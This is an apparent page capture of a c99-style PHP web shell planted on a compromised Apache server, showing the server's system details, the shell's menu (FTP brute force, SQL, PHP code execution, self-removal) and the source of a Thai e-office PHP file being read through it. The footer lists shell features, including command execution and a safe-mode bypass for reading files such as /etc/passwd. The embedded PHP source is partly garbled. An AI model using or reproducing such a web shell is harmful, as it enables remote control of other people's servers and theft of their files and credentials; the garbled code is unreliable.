!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDetailNewSendDocSR.php (22.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsProposeType.php";
include_once 
"funct.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"../class/clsannounceDocType.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocWSign.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"getPrefix.php";
include_once 
"../class/clsSendNewDocSR.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oDP5 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oPS4 = new person($oC);
$oPS5 = new person($oC);
$oPS6 = new person($oC);
$oUG = new umgroup($oCu);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc5 = new DocLineConfig($oC);
$oDlc6 = new DocLineConfig($oC);
$oDlc7 = new DocLineConfig($oC);
$oDlc8 = new DocLineConfig($oC);
$oDlc9 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2= new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDatt = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oRs8 = new DocReceiveSend($oC);
$oRs11 = new DocReceiveSend($oC);
$oPt = new ProposeType($oC);
$oStmp=new DocSendToPsTmp($oC);
$oAn=new announceDocType($oC);
$oDws = new docwsign($oC);
$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oCd = new collegedetail($oC);
$oSn = new sendnewdocsr($oC);
$oSn2 = new sendnewdocsr($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();
$docpath=searchDocPath($GLOBALS["COLLEGEID"]);
doCheckAll();
if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";

?>

<?
    $oDoc
->SearchByKey($DocID); $oDoc->GetRecord();
    
$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
    if(
$_SESSION['DLCIDSECOND']=="Y"){
        
$oDlc9->SearchByKey($_SESSION['DLCIDSECONDID']); $oDlc9->GetRecord(); 
        
$mypersonId=$oDlc9->personId;
    }else{
        
$mypersonId=$oDlc->personId;
    }
    
$a=$oDlc->DlcActive;
    
$oRs->SearchByKey($DrsID); $oRs->GetRecord(); 

?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendDoc.php">ส่งหนังสือถึงผู้รับผิดชอบ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายละเอียดข้อมูลการส่งหนังสือถึงผู้รับผิดชอบ</font>
    </font></legend>
        <form name="ff"  METHOD="POST" action="processSendDocumentNewSR.php">
        <table align="center" width="93%" >
        <tr>
          <td width="68%" height="25"><img src="../picture/official_letter.gif"   border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>การส่งหนังสือถึงผู้รับผิดชอบ</strong></font> 
           </td>
          </tr>
        <tr>
          <td  colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
        <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse"><tr><td>
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"   background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดของหนังสือ: </strong></font> 
            <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>
            <?  if($oDoc->RsID==1){    
                        echo 
$oRSt->SearchShowRsName(1); 
                    }else if(
$oDoc->RsID==2){   
                        echo 
$oRSt->SearchShowRsName(2);
                    }else if(
$oDoc->RsID==3){   
                        echo 
$oRSt->SearchShowRsName(3);  
                    }else if(
$oDoc->RsID==4){  
                        echo 
$oRSt->SearchShowRsName(4); 
                    }
            
?>
            </strong></font>
            &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;ชนิดหนังสือ: </strong></font>
            <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>
              <? $oDt->SearchByKey($oDoc->DtID);
                     
$oDt->GetRecord();
                     echo 
$oDt->DtName;
            
?>
            </strong></font>
                     </td>
</tr>
      </table>
      <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA">
      <tr><td>&nbsp;</td></tr>
     <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDocNo($oDoc->DtID); ?></strong></td>
             <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocNo!=""){  echo $oDoc->DocNo;   } ?></td></tr>
     <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDate2($oDoc->DtID); ?></strong></td>
             <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
            <?   if($oDoc->DocDate!="" && $oDoc->DocDate!="0000-00-00"){ 
                                        echo 
"&nbsp;".abbreDate2($oDoc->DocDate,'/');
                    } 
?>
            </td></tr>
     <? //if($oDoc->DtID!=13){ ?>
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" >&nbsp;&nbsp;<strong><? echo ShowNameSubject($oDoc->DtID); ?></strong></td>
            <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oDoc->DocSubject!=""){ echo  $oDoc->DocSubject;  } ?></td>
    </tr>
    <? //} ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==||  $oDoc->DtID==14 || $oDoc->DtID==13){?>  
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameFrom($oDoc->DtID); ?></strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocFrom!=""){ echo  $oDoc->DocFrom;  } ?></td>
          </tr>
    <? ?>    
    <? if($oDoc->DtID==13){?>  
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชื่อผู้ได้รับการรับรอง</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->CertificatePs!=""){   echo $oDoc->CertificatePs; } ?></td>
          </tr>
    <? ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==2  || $oDoc->DtID==14 || $oDoc->DtID==|| $oDoc->DtID==15){?>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? if($oDoc->DtID==|| $oDoc->DtID==15){   echo "เรียน"; }else{  echo "ถึง"; } ?></strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oDoc->DocTo!=""){   echo $oDoc->DocTo; }?></td>        
          </tr>
    <? }?>    
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>แฟ้มหนังสือ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td width="73%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
                  <? if($oDoc->DocPID=="0" || $oDoc->DocPID==""){  $searchDoc=$oDoc->DocID; }else{ $searchDoc=$oDoc->DocPID; } ?>
                  <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> 
                    &nbsp;<img src="../picture/attach_ico.gif"   border="0" >&nbsp;แฟ้มที่เกี่ยวข้อง&nbsp;<? echo a2th($oDatt->CountDocByDocID($searchDoc)); ?>&nbsp;รายการ
                    <? echo downloadProgramRead($oSys->downloadPpdf); ?></font><br> 
                    <? 
                        
                        $oDatt
->SearchByDocID($searchDoc);
                        while(
$oDatt->GetRecord()){  
                            
$c++;  
                            
$pathfile=$GLOBALS['path_upload_documents'].$oDatt->DaUpFileName
                        
?>
                            &nbsp;<a href="<? echo $pathfile ?>" target="_blank"><img src="../picture/allregistered_ico.gif" title="เปิดดูแฟ้มหนังสือ"  border="0"  style="cursor:pointer;" ></a>&nbsp; 
                        <?    echo "&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>";
                        } 
?>
                  </td>                        
    </tr>
    <? if($oDoc->DocPID==0){ ?>
    <tr><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>แฟ้มหนังสือเพิ่มเติม</strong></td><td width="2%" align="center"><b>:</b></td>
        <td><? include("uploadDocSended.php"); echo manageDocAtt2($searchDoc);?></td>
    </tr>
    <? }?>
    <? if(($oDoc->DtID==|| $oDoc->DtID==2) && ($oDoc->RsID=="2" || $oDoc->RsID=="1")){?>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocRef!=""){   echo $oDoc->DocRef; } ?></td>
    </tr>    
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สิ่งที่ส่งมาด้วย</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocOther!=""){   echo $oDoc->DocOther; }?></td>
    </tr>
    <? ?>
    <? if($oDoc->DtID==&& ($oDoc->RsID=="4" || $oDoc->RsID=="3")){?>
                <tr height=22><td width="31%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึงหนังสือเพื่อตอบกลับ</strong></td>
                            <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocRefAns!=""){   echo $oDoc->DocRefAns; } ?></td>
                </tr>    
                <? ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==14){?> 
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความเร็ว</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
            <? $oDsl->SearchByKey($oDoc->DslID); $oDsl->GetRecord();  echo "&nbsp;".$oDsl->DslName;?>
             </td></tr>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความลับ</strong></td>
                   <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
                <? $oDcl->SearchByKey($oDoc->DclID); $oDcl->GetRecord();  echo "&nbsp;".$oDcl->DclName;?></td>
    </tr>
    <? ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==14){?>  
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หน่วยงานเจ้าของเรื่อง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"><? if($oDoc->DocDeptOwner!=""){ echo  "&nbsp;".$oDoc->DocDeptOwner;  } ?></td>        
          </tr>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>เบอร์โทรศัพท์เจ้าของเรื่อง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"><? if($oDoc->DocTelOwner!=""){ echo  "&nbsp;".$oDoc->DocTelOwner;  } ?></td>        
          </tr>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>โทรสารเจ้าของเรื่อง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"><? if($oDoc->DocFaxOwner!=""){ echo  "&nbsp;".$oDoc->DocFaxOwner;  } ?></td>        
          </tr>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สำเนาส่ง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"><? if($oDoc->DocCopySend!=""){ echo  "&nbsp;".$oDoc->DocCopySend;  } ?></td>        
          </tr>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>การติดต่อทางอิเล็กทรอนิกส์</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"><? if($oDoc->DocContactE!=""){ echo  "&nbsp;".$oDoc->DocContactE;  } ?></td>        
          </tr>
    <? }?>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หมายเหตุ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> 
                    <? if($oDoc->DocShortDesc!=""){ echo "&nbsp;".$oDoc->DocShortDesc;  }  ?>
                  </td>
                </tr>
<? if($oDoc->DocforSign=="Y"){  ?>
    <tr height=22><td width="25%">&nbsp;</td>
                   <td width="2%" align="center">&nbsp;</td>
                  <td > 
                  <input name="" type="checkbox" value="" checked disabled> ลงทะเบียนหนังสือลงนาม
                  </td>
                </tr>
    <? ?>
    <? if($oDoc->sendToPs=="Y"){  ?>
    <tr height=22><td width="25%">&nbsp;</td>
                   <td width="2%" align="center">&nbsp;</td>
                  <td > 
                  <input name="" type="checkbox" value="" checked disabled> ส่งด่วน
                  </td>
                </tr>
    <? ?>
                <? if(($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==14) && $oDoc->DocSendReal=="Y"){?>  
                <tr height=22>
                  <td width="24%">&nbsp;</td>
                  <td width="1%" align="center">&nbsp;</td>
                  <td > <input name="" type="checkbox" value="" checked disabled>
                    ส่งหนังสือตัวจริงตามไปด้วย </td>
                </tr>
                <? ?>    
    <tr><td>&nbsp;</td></tr>
      </table>
      </td></tr></table>
      <? 
                  
//------------------Sign------------------------------------------------------------------?>
    <br>
      <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse"><tr><td >
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"   background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;การส่งหนังสือเพิ่มเติมไปยังหน่วยงานเดิมที่เคยส่งแล้ว</strong></font> 
            </td>
        </tr>
      </table>
              <table width="97%" height="100%"border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >

                <tr align="center"> 
                  <td width="45%" align="left" valign="top">
                  <?
                    $countAllDoc
=$oDatt->CountDocByDocIDSended($DocID);
                    if(
$countAllDoc>0){
                        
$showdetaildoc="<br>&nbsp;&nbsp;<font size=2 color=".$GLOBALS["COLOR_FONT_2"]."><b>แฟ้มหนังสือเพิ่มเติม (จากต้นเรื่อง)</b></font><br>";
                        
$showdetaildoc.="<table width=\"100%\" border=0 cellpadding=\"0\" cellspacing=\"0\" align=left>";    
                        
$showdetaildoc=$showdetaildoc."<tr><td  align=left>&nbsp;&nbsp;เลือกแฟ้มหนังสือที่ต้องการส่ง<br>";
                        
$c=0;
                        
$oDatt->SearchByDocIDSended($DocID);
                        while(
$oDatt->GetRecord()){  $c++;  $pathfile=$GLOBALS['path_upload_documents'].$oDatt->DaUpFileName;
                            
$new_DaFileName=str_replace (' ','_',$oDatt->DaFileName);
                            
$showdetaildoc=$showdetaildoc."&nbsp;<input type=radio name=selectdoc id=selectdoc".$oDatt->DaID."   onClick=onSet('".$oDatt->DaUpFileName."','".$new_DaFileName."')>";
                            
$showdetaildoc=$showdetaildoc."&nbsp;&nbsp;&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>";    
                        } 
                        
$showdetaildoc=$showdetaildoc."</td></tr></table>";
                        echo 
$showdetaildoc;
                    }                  
                  
?>
                  </td>
                  <td width="45%"  align="left"  valign="top"><br><br>เลือกหน่วยงานที่ต้องการส่ง<br>
                    <?
                      $x
=0;
                       
$oTsr->SearchBytsr_DrsIDandtsr_fr_node($DrsID,$GLOBALS["COLLEGEID"]);
                      while(
$oTsr->GetRecord()){
                        
$oCd->SearchByKey($oTsr->tsr_to_node);
                        
$oCd->GetRecord();
                        
?> 
                        <?
                            
echo "<input type=radio name=selectdept   id=selectdept".$oCd->collegeID." onClick=onSet2('".$oCd->collegeID."')>&nbsp;".$oCd->collegeAbbr;
                            if(
$oTsr->tsr_SendNew!="0000-00-00 00:00:00"){
                                    list(
$DocD2,$DocT2) = preg_split('[ ]',$oTsr->tsr_SendNew); 
                                    echo 
" [ส่งเพิ่มเติม ".abbreDate2($DocD2,'/')."&nbsp;".a2th($DocT2)."]";
                            }
                            echo 
'<br>';
                      }
                    
?>
                  </td>
                </tr>
                <tr>
                  <td height="44" colspan="2" align="center"><input type="submit" name="cancel" value="ส่งเพิ่มเติม" onClick="return checkFormat();" <? if($a!='Y'){  echo "disabled";  }  ?>></td></tr>
              </table>
      </td></tr></table>
    <br>
      <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" style="border-collapse:collapse"><tr><td >
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA"   background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดสำหรับการส่งหนังสือเพิ่มเติมไปยังหน่วยงานเดิมที่เคยส่งแล้ว</strong></font> 
            </td>
        </tr>
        </table>
        </td></tr>
        <tr><td>
        <table width=80%>
        <?
            $oTsr2
->SearchBytsr_DrsIDandtsr_fr_node($DrsID,$GLOBALS["COLLEGEID"]);
            while(
$oTsr2->GetRecord()){
                
$oSn->SearchBysn_tsr_id_send($oTsr2->tsr_id);
                while(
$oSn->GetRecord()){
                    
$oCd->SearchByKey($oSn->sn_to_node);
                    
$oCd->GetRecord();
                    

                    list(
$DocD,$DocT) = preg_split('[ ]',$oSn->sn_fr_node_date); 
                    echo 
"<tr><td>&nbsp;".$oCd->collegeAbbr."</td><td><b>วันที่ส่ง</b> ::&nbsp;".abbreDate2($DocD,'/')."&nbsp;".a2th($DocT)."</td><td><b>แฟ้มหนังสือ</b> ::&nbsp;".$oSn->sn_docname ."</td><td><b>สถานะ </b>::&nbsp;".Showtsr_status($oSn->sn_status)."</td></tr>";
                }
            }
        
?>
        </table>
        </td></tr>
        </table>
      <input type="hidden" name="docpath" id="docpath" value=<? echo $docpath;?>>
      <input type="hidden" name="DocID" id="DocID" value="<? echo $DocID?>">
      <input type="hidden" name="DrsID" id="DrsID" value="<? echo $DrsID?>">
      <input type="hidden" name="method" id="method">
      <input type="hidden" name="selectdocv" id="selectdocv">
      <input type="hidden" name="selectdocname" id="selectdocname">
      <input type="hidden" name="selectdeptv" id="selectdeptv">
      </form>  
</fieldset>  <table width="95%" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"><img src="../picture/allregistered_ico.gif"   border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ </font></td>
        </tr>
            <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left">
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; </font></td>
        </tr></table>

</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function checkFormat(){
            if(document.ff.selectdocv.value!='' && document.ff.selectdeptv.value!=''){
                var agree=confirm("คุณต้องการส่งหนังสือแน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.ff.method.value="AddSendNewSR";
                    
                    return true;
                }else{
                    return false ;
                }
            }else{
                alert("กรุณาเลือกแฟ้มหนังสือและหน่วยงานที่ต้องการส่ง");
                return false ;
            }
}
function searchPs(){
        document.ff.method.value="addsend2";
        return true;
}
function onSet(v,n){
        document.ff.selectdocv.value=v;
        document.ff.selectdocname.value=n;
}
function onSet2(v){
        document.ff.selectdeptv.value=v;

}
function getPs(){
        document.ff.method.value="addPs";
        return true;
}
function deletePs(j){
        var agree=confirm("คุณต้องการลบรายชื่อที่จะส่งด่วนแน่นอนใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="deletePs";
            document.ff.deletePstmp.value = j;
            document.ff.submit();
            return true;
        }else{
            return false ;
        }
}
function SendDocNew(p,q,r,docid,drsid,x){
        var agree=confirm("คุณต้องการส่งเพิ่มเติมแน่นอนใช่หรือไม่ ?");
        if (agree){  
            if(x!=0){  fnlink="showSendDocNewSR.php";  }else{ fnlink="showSendDocNewSR.php"; }
            window.location.href =fnlink+"?flagshow="+p+"&monthe="+q+"&searchYear="+r+"&DocID="+docid+"&DrsID="+drsid+"&addsendps=1";
        }else{
            return false ;
        }
}
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
 function showline2(p){ 
             FileName = "showlinedocTable2.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--